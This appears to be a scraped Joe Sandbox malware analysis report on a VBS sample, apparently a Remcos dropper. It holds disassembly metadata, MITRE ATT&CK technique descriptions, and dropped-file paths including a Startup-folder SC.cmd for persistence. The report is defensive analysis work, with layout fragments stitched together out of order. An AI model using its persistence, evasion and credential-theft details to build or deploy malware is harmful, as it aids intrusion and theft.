Opcode ID: 08864fd35b35f6e10160a6b7cad974f4c4e5e5894a63cb91cea6d61644888c54
Instruction ID: a8986b5d0fc5065fa4420194992ab4643f38d39362f1d3b193e5f677e6d35072
Opcode Fuzzy Hash: 08864fd35b35f6e10160a6b7cad974f4c4e5e5894a63cb91cea6d61644888c54
Instruction Fuzzy Hash: D7C0127124565054E11231222D03BCB05480F12705F29006FFC01781C3EE5D4A9180AE

Function 00407E33 Relevance: 5.1, APIs: 4, Instructions: 108stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00407E42
memset.MSVCRT ref: 00407E7B
memcpy.MSVCRT ref: 00407F3E
LocalFree.KERNEL32(?,?,?,?,?), ref: 00407F69

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: FreeLocalmemcpymemsetstrlen
String ID:
API String ID: 3110682361-0
Opcode ID: 21470b65325c4646694a84c407f8fe9269b35ac8cd8724ca01919c7c57aa0683
Instruction ID: 94145ba3e6d447937b4e48053a9a2b44a3b831c7855691199b8e714b6b5b9eaf
Opcode Fuzzy Hash: 21470b65325c4646694a84c407f8fe9269b35ac8cd8724ca01919c7c57aa0683
Instruction Fuzzy Hash: 9941C372D041199BCF109FA9C841BDEBFB8EF49314F1041B6E955B7281C238AA85CFA5

Function 004092CC Relevance: 5.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00406D91: memset.MSVCRT ref: 00406D9F

??2@YAPAXI@Z.MSVCRT ref: 004092E1
??2@YAPAXI@Z.MSVCRT ref: 0040930A
??2@YAPAXI@Z.MSVCRT ref: 0040932B
??2@YAPAXI@Z.MSVCRT ref: 0040934C

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: 1bd1a042b885c515cafa8077495e00bace8610073d8da212d6e8c1d7679ca43c
Instruction ID: 542bc7e3926c6d60784d6f8799ebb0262de6c8f0aff60c73b96b1684488c9edf
Opcode Fuzzy Hash: 1bd1a042b885c515cafa8077495e00bace8610073d8da212d6e8c1d7679ca43c
Instruction Fuzzy Hash: 9621B3B0A053008FDB558F6A9845955FBF8FF94311B2AC9AFD508DB2B2D7B8C9409F14

Function 004086ED Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00408715
??2@YAPAXI@Z.MSVCRT ref: 00408733
??2@YAPAXI@Z.MSVCRT ref: 00408751
??2@YAPAXI@Z.MSVCRT ref: 00408761

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 949953223f8e9f4be0123e64353e30bed0322445959412ce4c80275753eae598
Instruction ID: 62cae8e83bd5d1efe0b7207de595a3d8a96caeb03304a295a8faf49e2a024305
Opcode Fuzzy Hash: 949953223f8e9f4be0123e64353e30bed0322445959412ce4c80275753eae598
Instruction Fuzzy Hash: 58F04FB96012005EFB589F36ED4679576F0A708309F18C53EE9058B2F4EB7444448F1D

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO#2195112.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\remcos\logs.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eqquqoso.ej0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_guhx1ir3.4ob.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ih41ueii.2y3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ke0fwi21.nbe.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nkln13hb.bmr.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q0ual0dm.gjs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5kazo3e.x1q.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xauxqvsl.prh.psm1

C:\Users\user\AppData\Local\Temp\bhv8D61.tmp

C:\Users\user\AppData\Local\Temp\oaanp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd

Windows Analysis Report
PO#2195112.vbs

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre